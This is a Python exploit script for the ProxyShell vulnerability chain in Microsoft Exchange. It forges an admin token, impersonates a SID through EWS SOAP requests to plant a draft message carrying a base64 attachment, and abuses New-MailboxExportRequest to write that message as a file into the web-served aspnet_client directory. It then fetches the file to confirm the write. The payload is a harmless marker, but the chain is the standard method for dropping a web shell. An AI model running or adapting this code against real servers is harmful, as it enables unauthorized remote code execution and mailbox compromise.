#!/usr/bin/env python3
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port)
        for x in o: print("OUT:", str(x)[:300])
        if e: print("ERR:", [str(x)[:200] for x in e])
        return o
    except Exception as ex: print("EXC", str(ex)); return []

def finditem(sidv, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:FindItem Traversal="Shallow"><m:ItemShape><t:BaseShape>IdOnly</t:BaseShape><t:AdditionalProperties><t:FieldURI FieldURI="item:Subject"/></t:AdditionalProperties></m:ItemShape><m:ParentFolderIds><t:DistinguishedFolderId Id="drafts"/></m:ParentFolderIds></m:FindItem></soap:Body></soap:Envelope>''' % sidv

def createitem(sidv, subj, b64, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">x</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, b64, mail)

subj = "E" + P.rand_string(6)
print("CREATE:", 'Success' in ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, base64.b64encode(b'HELLO_PAYLOAD').decode(), ps.email), {"Content-Type":"text/xml"}).text)
time.sleep(3)
print("FINDITEM:", ps.post('/ews/exchange.asmx', finditem(ps.sid, ps.email), {"Content-Type":"text/xml"}).text[:400])
for st in ('Completed','Failed','InProgress'):
    try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
    except Exception: pass
nm = "e" + P.rand_string(5) + ".txt"
run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s"' % (ps.email, subj, nm))
time.sleep(15)
run('Get-MailboxExportRequest -Mailbox %s | Get-MailboxExportRequestStatistics' % ps.email)
try:
    r = requests.get(f"https://{ip}/aspnet_client/{nm}", verify=False, timeout=20)
    print("PST code", r.status_code, "len", len(r.content), "hasHELLO", b'HELLO_PAYLOAD' in r.content)
except Exception as e: print("fetch err", e)
try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
except Exception: pass